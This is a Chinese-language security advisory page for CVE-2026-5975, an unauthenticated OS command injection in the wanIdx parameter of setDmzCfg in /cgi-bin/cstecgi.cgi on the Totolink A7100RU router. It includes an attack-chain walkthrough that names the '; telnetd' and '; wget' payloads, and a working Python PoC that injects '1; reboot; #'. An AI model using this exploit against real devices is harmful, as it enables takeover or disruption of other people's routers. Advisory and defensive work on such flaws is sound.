IPBUF安全漏洞报告
English
CVE-2026-5975 CVSS 9.8 严重

CVE-2026-5975 Totolink A7100RU远程命令注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5975
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

命令注入远程代码执行TotolinkIoT路由器漏洞

漏洞概述

Totolink A7100RU路由器特定版本存在严重的操作系统命令注入漏洞。由于CGI处理程序对输入参数缺乏有效过滤,未经认证的远程攻击者可通过网络向目标发送恶意构造的数据包,利用wanIdx参数在系统后台执行任意操作系统命令,从而完全控制设备。

技术细节

该漏洞位于Totolink A7100RU路由器的Web管理接口组件中,具体受影响文件为/cgi-bin/cstecgi.cgi,漏洞点在于setDmzCfg函数。该函数在处理DMZ配置请求时,未对传入的wanIdx参数进行严格的边界检查和特殊字符过滤。攻击者可以利用此缺陷,在wanIdx参数中注入Shell元字符(如; | &),将恶意操作系统命令拼接到系统调用的指令中。根据CVSS向量分析,该攻击无需用户交互(UI:N)且无需任何权限(PR:N),攻击者只需发送特制的HTTP POST请求即可触发漏洞,导致远程代码执行,严重影响设备的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 侦察
攻击者扫描网络,识别暴露在互联网上的Totolink A7100RU路由器设备,确认其Web管理接口(端口80/443)可达。
STEP 2
2. 武器化
攻击者构造包含恶意Shell命令的HTTP POST请求包,利用setDmzCfg函数中wanIdx参数的过滤缺失,将注入Payload(如`; telnetd`或`; wget`)嵌入参数中。
STEP 3
3. 交付
攻击者通过互联网向目标设备的/cgi-bin/cstecgi.cgi接口发送特制的恶意请求包。
STEP 4
4. 利用
目标设备的CGI程序解析请求,处理wanIdx参数时未过滤特殊字符,将注入的命令传递给底层系统Shell执行。
STEP 5
5. 安装与行动
恶意命令执行后,攻击者获得设备Root权限,可安装后门、修改配置或窃取数据,实现对设备的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to reboot the device or create a file # The 'wanIdx' parameter is the injection point payload_data = { "function": "setDmzCfg", "wanIdx": "1; reboot; #" # OS Command Injection Payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Sending the exploit request response = requests.post(target_url, data=payload_data, headers=headers, timeout=5) # Check response status if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send payload. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
建议立即将受影响设备的管理界面通过ACL(访问控制列表)仅限制在受信任的内网IP地址访问,暂时阻断互联网侧对CGI接口的调用,并尽快联系厂商获取固件更新进行修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表